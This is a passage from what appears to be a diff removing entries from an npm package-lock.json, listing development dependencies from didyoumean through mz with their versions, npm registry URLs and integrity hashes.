- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
- "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
- "dev": true
- },
- "node_modules/dlv": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
- "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
- "dev": true
- },
- "node_modules/dom-serializer": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
- "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
- "dev": true,
- "dependencies": {
- "domelementtype": "^2.3.0",
- "domhandler": "^5.0.2",
- "entities": "^4.2.0"
- },
- "funding": {
- "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
- }
- },
- "node_modules/domelementtype": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
- "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/fb55"
- }
- ]
- },
- "node_modules/domhandler": {
- "version": "5.0.3",
- "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
- "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
- "dev": true,
- "dependencies": {
- "domelementtype": "^2.3.0"
- },
- "engines": {
- "node": ">= 4"
- },
- "funding": {
- "url": "https://github.com/fb55/domhandler?sponsor=1"
- }
- },
- "node_modules/domutils": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz",
- "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==",
- "dev": true,
- "dependencies": {
- "dom-serializer": "^2.0.0",
- "domelementtype": "^2.3.0",
- "domhandler": "^5.0.3"
- },
- "funding": {
- "url": "https://github.com/fb55/domutils?sponsor=1"
- }
- },
- "node_modules/eastasianwidth": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
- "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
- "dev": true
- },
- "node_modules/electron-to-chromium": {
- "version": "1.4.756",
- "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.756.tgz",
- "integrity": "sha512-RJKZ9+vEBMeiPAvKNWyZjuYyUqMndcP1f335oHqn3BEQbs2NFtVrnK5+6Xg5wSM9TknNNpWghGDUCKGYF+xWXw==",
- "dev": true
- },
- "node_modules/emoji-regex": {
- "version": "9.2.2",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
- "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
- "dev": true
- },
- "node_modules/enhanced-resolve": {
- "version": "5.16.0",
- "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.16.0.tgz",
- "integrity": "sha512-O+QWCviPNSSLAD9Ucn8Awv+poAkqn3T1XY5/N7kR7rQO9yfSGWkYZDwpJ+iKF7B8rxaQKWngSqACpgzeapSyoA==",
- "dev": true,
- "dependencies": {
- "graceful-fs": "^4.2.4",
- "tapable": "^2.2.0"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/entities": {
- "version": "4.5.0",
- "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
- "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
- "dev": true,
- "engines": {
- "node": ">=0.12"
- },
- "funding": {
- "url": "https://github.com/fb55/entities?sponsor=1"
- }
- },
- "node_modules/envinfo": {
- "version": "7.13.0",
- "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.13.0.tgz",
- "integrity": "sha512-cvcaMr7KqXVh4nyzGTVqTum+gAiL265x5jUWQIDLq//zOGbW+gSW/C+OWLleY/rs9Qole6AZLMXPbtIFQbqu+Q==",
- "dev": true,
- "bin": {
- "envinfo": "dist/cli.js"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/es-module-lexer": {
- "version": "1.5.2",
- "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.5.2.tgz",
- "integrity": "sha512-l60ETUTmLqbVbVHv1J4/qj+M8nq7AwMzEcg3kmJDt9dCNrTk+yHcYFf/Kw75pMDwd9mPcIGCG5LcS20SxYRzFA==",
- "dev": true
- },
- "node_modules/escalade": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz",
- "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==",
- "dev": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/eslint-scope": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
- "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
- "dev": true,
- "dependencies": {
- "esrecurse": "^4.3.0",
- "estraverse": "^4.1.1"
- },
- "engines": {
- "node": ">=8.0.0"
- }
- },
- "node_modules/esrecurse": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
- "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
- "dev": true,
- "dependencies": {
- "estraverse": "^5.2.0"
- },
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/esrecurse/node_modules/estraverse": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
- "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
- "dev": true,
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/estraverse": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
- "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
- "dev": true,
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/events": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
- "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
- "dev": true,
- "engines": {
- "node": ">=0.8.x"
- }
- },
- "node_modules/fast-deep-equal": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
- "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
- "dev": true
- },
- "node_modules/fast-glob": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz",
- "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.stat": "^2.0.2",
- "@nodelib/fs.walk": "^1.2.3",
- "glob-parent": "^5.1.2",
- "merge2": "^1.3.0",
- "micromatch": "^4.0.4"
- },
- "engines": {
- "node": ">=8.6.0"
- }
- },
- "node_modules/fast-glob/node_modules/glob-parent": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
- "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
- "dev": true,
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/fast-json-stable-stringify": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
- "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
- "dev": true
- },
- "node_modules/fastest-levenshtein": {
- "version": "1.0.16",
- "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz",
- "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==",
- "dev": true,
- "engines": {
- "node": ">= 4.9.1"
- }
- },
- "node_modules/fastq": {
- "version": "1.17.1",
- "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz",
- "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==",
- "dev": true,
- "dependencies": {
- "reusify": "^1.0.4"
- }
- },
- "node_modules/fill-range": {
- "version": "7.1.1",
- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
- "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
- "dev": true,
- "dependencies": {
- "to-regex-range": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/find-up": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
- "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
- "dev": true,
- "dependencies": {
- "locate-path": "^5.0.0",
- "path-exists": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/flat": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
- "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==",
- "dev": true,
- "bin": {
- "flat": "cli.js"
- }
- },
- "node_modules/foreground-child": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz",
- "integrity": "sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==",
- "dev": true,
- "dependencies": {
- "cross-spawn": "^7.0.0",
- "signal-exit": "^4.0.1"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/fsevents": {
- "version": "2.3.3",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
- "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
- "dev": true,
- "hasInstallScript": true,
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
- }
- },
- "node_modules/function-bind": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
- "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
- "dev": true,
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/glob": {
- "version": "10.3.12",
- "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.12.tgz",
- "integrity": "sha512-TCNv8vJ+xz4QiqTpfOJA7HvYv+tNIRHKfUWw/q+v2jdgN4ebz+KY9tGx5J4rHP0o84mNP+ApH66HRX8us3Khqg==",
- "dev": true,
- "dependencies": {
- "foreground-child": "^3.1.0",
- "jackspeak": "^2.3.6",
- "minimatch": "^9.0.1",
- "minipass": "^7.0.4",
- "path-scurry": "^1.10.2"
- },
- "bin": {
- "glob": "dist/esm/bin.mjs"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/glob-parent": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
- "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
- "dev": true,
- "dependencies": {
- "is-glob": "^4.0.3"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/glob-to-regexp": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
- "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
- "dev": true
- },
- "node_modules/graceful-fs": {
- "version": "4.2.11",
- "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
- "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
- "dev": true
- },
- "node_modules/has-flag": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/hasown": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
- "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
- "dev": true,
- "dependencies": {
- "function-bind": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/he": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
- "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
- "dev": true,
- "bin": {
- "he": "bin/he"
- }
- },
- "node_modules/import-local": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz",
- "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==",
- "dev": true,
- "dependencies": {
- "pkg-dir": "^4.2.0",
- "resolve-cwd": "^3.0.0"
- },
- "bin": {
- "import-local-fixture": "fixtures/cli.js"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/interpret": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/interpret/-/interpret-3.1.1.tgz",
- "integrity": "sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ==",
- "dev": true,
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/is-binary-path": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
- "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
- "dev": true,
- "dependencies": {
- "binary-extensions": "^2.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-core-module": {
- "version": "2.13.1",
- "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz",
- "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==",
- "dev": true,
- "dependencies": {
- "hasown": "^2.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-extglob": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
- "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-fullwidth-code-point": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
- "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-glob": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
- "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
- "dev": true,
- "dependencies": {
- "is-extglob": "^2.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-number": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
- "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
- "dev": true,
- "engines": {
- "node": ">=0.12.0"
- }
- },
- "node_modules/is-plain-object": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
- "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
- "dev": true,
- "dependencies": {
- "isobject": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/isexe": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
- "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
- "dev": true
- },
- "node_modules/isobject": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
- "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/jackspeak": {
- "version": "2.3.6",
- "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.6.tgz",
- "integrity": "sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==",
- "dev": true,
- "dependencies": {
- "@isaacs/cliui": "^8.0.2"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- },
- "optionalDependencies": {
- "@pkgjs/parseargs": "^0.11.0"
- }
- },
- "node_modules/jest-worker": {
- "version": "27.5.1",
- "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
- "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
- "dev": true,
- "dependencies": {
- "@types/node": "*",
- "merge-stream": "^2.0.0",
- "supports-color": "^8.0.0"
- },
- "engines": {
- "node": ">= 10.13.0"
- }
- },
- "node_modules/jiti": {
- "version": "1.21.0",
- "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz",
- "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==",
- "dev": true,
- "bin": {
- "jiti": "bin/jiti.js"
- }
- },
- "node_modules/js-base64": {
- "version": "3.7.7",
- "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-3.7.7.tgz",
- "integrity": "sha512-7rCnleh0z2CkXhH67J8K1Ytz0b2Y+yxTPL+/KOJoa20hfnVQ/3/T6W/KflYI4bRHRagNeXeU2bkNGI3v1oS/lw=="
- },
- "node_modules/json-parse-even-better-errors": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
- "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
- "dev": true
- },
- "node_modules/json-schema-traverse": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
- "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
- "dev": true
- },
- "node_modules/kind-of": {
- "version": "6.0.3",
- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
- "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/lilconfig": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
- "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
- "dev": true,
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/lines-and-columns": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
- "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
- "dev": true
- },
- "node_modules/loader-runner": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
- "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==",
- "dev": true,
- "engines": {
- "node": ">=6.11.5"
- }
- },
- "node_modules/locate-path": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
- "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
- "dev": true,
- "dependencies": {
- "p-locate": "^4.1.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/lru-cache": {
- "version": "10.2.2",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.2.2.tgz",
- "integrity": "sha512-9hp3Vp2/hFQUiIwKo8XCeFVnrg8Pk3TYNPIR7tJADKi5YfcF7vEaK7avFHTlSy3kOKYaJQaalfEo6YuXdceBOQ==",
- "dev": true,
- "engines": {
- "node": "14 || >=16.14"
- }
- },
- "node_modules/merge-stream": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
- "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
- "dev": true
- },
- "node_modules/merge2": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
- "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
- "dev": true,
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/micromatch": {
- "version": "4.0.5",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
- "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
- "dev": true,
- "dependencies": {
- "braces": "^3.0.2",
- "picomatch": "^2.3.1"
- },
- "engines": {
- "node": ">=8.6"
- }
- },
- "node_modules/mime-db": {
- "version": "1.52.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
- "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
- "dev": true,
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mime-types": {
- "version": "2.1.35",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
- "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
- "dev": true,
- "dependencies": {
- "mime-db": "1.52.0"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/minimatch": {
- "version": "9.0.4",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.4.tgz",
- "integrity": "sha512-KqWh+VchfxcMNRAJjj2tnsSJdNbHsVgnkBhTNrW7AjVo6OvLtxw8zfT9oLw1JSohlFzJ8jCoTgaoXvJ+kHt6fw==",
- "dev": true,
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/minipass": {
- "version": "7.0.4",
- "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.0.4.tgz",
- "integrity": "sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==",
- "dev": true,
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/mz": {
- "version": "2.7.0",
- "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
- "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
- "dev": true,
- "dependencies": {
- "any-promise": "^1.0.0",
- "object-assign": "^4.0.1",
